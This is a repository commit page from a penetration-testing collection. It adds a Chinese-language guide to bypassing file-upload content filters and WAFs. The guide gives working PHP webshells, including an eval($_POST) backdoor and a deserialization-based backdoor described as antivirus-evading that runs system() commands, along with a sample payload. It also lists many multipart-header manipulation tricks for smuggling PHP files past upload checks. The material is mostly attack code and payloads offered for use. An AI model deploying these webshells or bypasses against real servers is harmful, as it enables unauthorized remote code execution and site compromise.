mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2026-05-20 03:12:30 +08:00
add 文件上传内容检测绕过
This commit is contained in:
@@ -390,6 +390,7 @@
|
||||
- [BrowserGhost-一个抓取浏览器密码的工具,后续会添加更多功能](https://github.com/QAX-A-Team/BrowserGhost)
|
||||
- [GatherInfo-渗透测试信息搜集/内网渗透信息搜集](https://github.com/Paper-Pen/GatherInfo)
|
||||
- [EvilPDF:一款把恶意文件嵌入在 PDF 中的工具](https://github.com/thelinuxchoice/evilpdf)
|
||||
- [SatanSword-红队综合渗透框架,支持web指纹识别、漏洞PoC检测、批量web信息和端口信息查询、路径扫描、批量JS查找子域名、使用google headless、协程支持、完整的日志回溯](https://github.com/Lucifer1993/SatanSword)
|
||||
|
||||
## <span id="head8"> 文章/书籍/教程相关</span>
|
||||
|
||||
@@ -458,6 +459,7 @@
|
||||
- [极致CMS(以下简称_JIZHICMS)的一次审计-SQL注入+储存行XSS+逻辑漏洞](./books/极致CMS(以下简称_JIZHICMS)的一次审计-SQL注入+储存行XSS+逻辑漏洞.pdf)|[原文地址](https://xz.aliyun.com/t/7872)
|
||||
- [代码审计之DTCMS_V5.0后台漏洞两枚](./books/代码审计之DTCMS_V5.0后台漏洞两枚.pdf)
|
||||
- [快速判断sql注入点是否支持load_file](./快速判断sql注入点是否支持load_file.md)
|
||||
- [文件上传内容检测绕过](./books/文件上传内容检测绕过.md)
|
||||
|
||||
## <span id="head9"> 说明</span>
|
||||
|
||||
|
||||
@@ -0,0 +1,123 @@
|
||||
1.先假设一个前提,可以上传.htaccess或者.user.ini
|
||||
因为不知道目标使用的是 nginx 还是 Apache,所以给两个参考链接
|
||||
如果是nginx可以看看我这篇文章的0x01 CheckIn:https://www.cnpanda.net/ctf/383.html
|
||||
如果是apache可以看看这篇文章:https://thibaud-robin.fr/articles/bypass-filter-upload/
|
||||
2.如果检测是`<?php ?>`
|
||||
可以试一试使用其他标签,如
|
||||
```
|
||||
<script language="php">
|
||||
eval($_POST[2333]);
|
||||
</script>
|
||||
```
|
||||
这个要求`php<7`
|
||||
或者
|
||||
```
|
||||
<?
|
||||
...
|
||||
?>
|
||||
```
|
||||
|
||||
3.如果检测的不是php标签,是敏感内容的话,这里送你一个免杀php马
|
||||
```php
|
||||
<?php
|
||||
|
||||
if (isset($_POST['run'])) {
|
||||
class HandShip {
|
||||
public $name;
|
||||
public $male;
|
||||
function __destruct() {
|
||||
$allin = $this->name;
|
||||
$allin($this->male);
|
||||
}
|
||||
}
|
||||
if(md5($_POST['code'])=='ce61649168c4550c2f7acab92354dc6e'){
|
||||
|
||||
unserialize($_POST['run']);
|
||||
}
|
||||
}
|
||||
?>
|
||||
```
|
||||
用法:
|
||||
|
||||
`run=O:8:"HandShip":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /home";};&code=panda`
|
||||
|
||||
4.绕过思路:对文件的内容,数据。数据包进行处理。
|
||||
|
||||
关键点在这里`Content-Disposition: form-data; name="file"; filename="ian.php"`
|
||||
将`form-data; ` 修改为`~form-data;`
|
||||
5.通过替换大小写来进行绕过
|
||||
```
|
||||
Content-Disposition: form-data; name="file"; filename="yjh.php"
|
||||
Content-Type: application/octet-stream
|
||||
```
|
||||
将`Content-Disposition` 修改为`content-Disposition`
|
||||
将` form-data` 修改为`Form-data`
|
||||
将`Content-Type` 修改为`content-Type`
|
||||
6.通过删减空格来进行绕过
|
||||
```
|
||||
Content-Disposition: form-data; name="file"; filename="yjh.php"
|
||||
Content-Type: application/octet-stream
|
||||
```
|
||||
将`Content-Disposition: form-data` 冒号后面 增加或减少一个空格
|
||||
将`form-data; name="file";` 分号后面 增加或减少一个空格
|
||||
将`Content-Type: application/octet-stream` 冒号后面 增加一个空格
|
||||
7.通过字符串拼接绕过
|
||||
|
||||
看`Content-Disposition: form-data; name="file"; filename="yjh3.php"`
|
||||
将` form-data` 修改为 ` f+orm-data`
|
||||
将`from-data` 修改为 `form-d+ata`
|
||||
8.双文件上传绕过
|
||||
```html
|
||||
<form action="https://www.xxx.com/xxx.asp(php)" method="post"
|
||||
name="form1" enctype="multipart/form‐data">
|
||||
<input name="FileName1" type="FILE" class="tx1" size="40">
|
||||
<input name="FileName2" type="FILE" class="tx1" size="40">
|
||||
<input type="submit" name="Submit" value="上传">
|
||||
</form>
|
||||
```
|
||||
9.HTTP header 属性值绕过
|
||||
|
||||
`Content-Disposition: form-data; name="file"; filename="yjh.php"`
|
||||
我们通过替换`form-data` 为`*`来绕过
|
||||
`Content-Disposition: *; name="file"; filename="yjh.php"`
|
||||
10.HTTP header 属性名称绕过
|
||||
源代码:
|
||||
```
|
||||
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"
|
||||
Content-Type: image/png
|
||||
```
|
||||
绕过内容如下:
|
||||
```
|
||||
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
|
||||
C.php"
|
||||
```
|
||||
删除掉`ontent-Type: image/png`只留下`c`,将`.php`加`c`后面即可,但是要注意额,双引号要跟着c.php".
|
||||
11.等效替换绕过
|
||||
原内容:
|
||||
```
|
||||
Content-Type: multipart/form-data; boundary=---------------------------471463142114
|
||||
```
|
||||
修改后:
|
||||
```
|
||||
Content-Type: multipart/form-data; boundary =---------------------------471463142114
|
||||
```
|
||||
`boundary`后面加入空格。
|
||||
12.修改编码绕过
|
||||
使用`UTF-16`、`Unicode`、`双URL编码`等等
|
||||
13.WTS-WAF 绕过上传
|
||||
原内容:
|
||||
```
|
||||
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
|
||||
```
|
||||
添加回车
|
||||
```
|
||||
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
|
||||
```
|
||||
14.百度云上传绕过
|
||||
|
||||
百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。
|
||||
`Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"`
|
||||
15.填充垃圾数据,造成溢出后使WAF崩掉
|
||||
```
|
||||
Content-Disposition: 字段溢出即可 比如Content-Disposition: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA一直加就行了十万++
|
||||
```
|
||||
Reference in New Issue
Block a user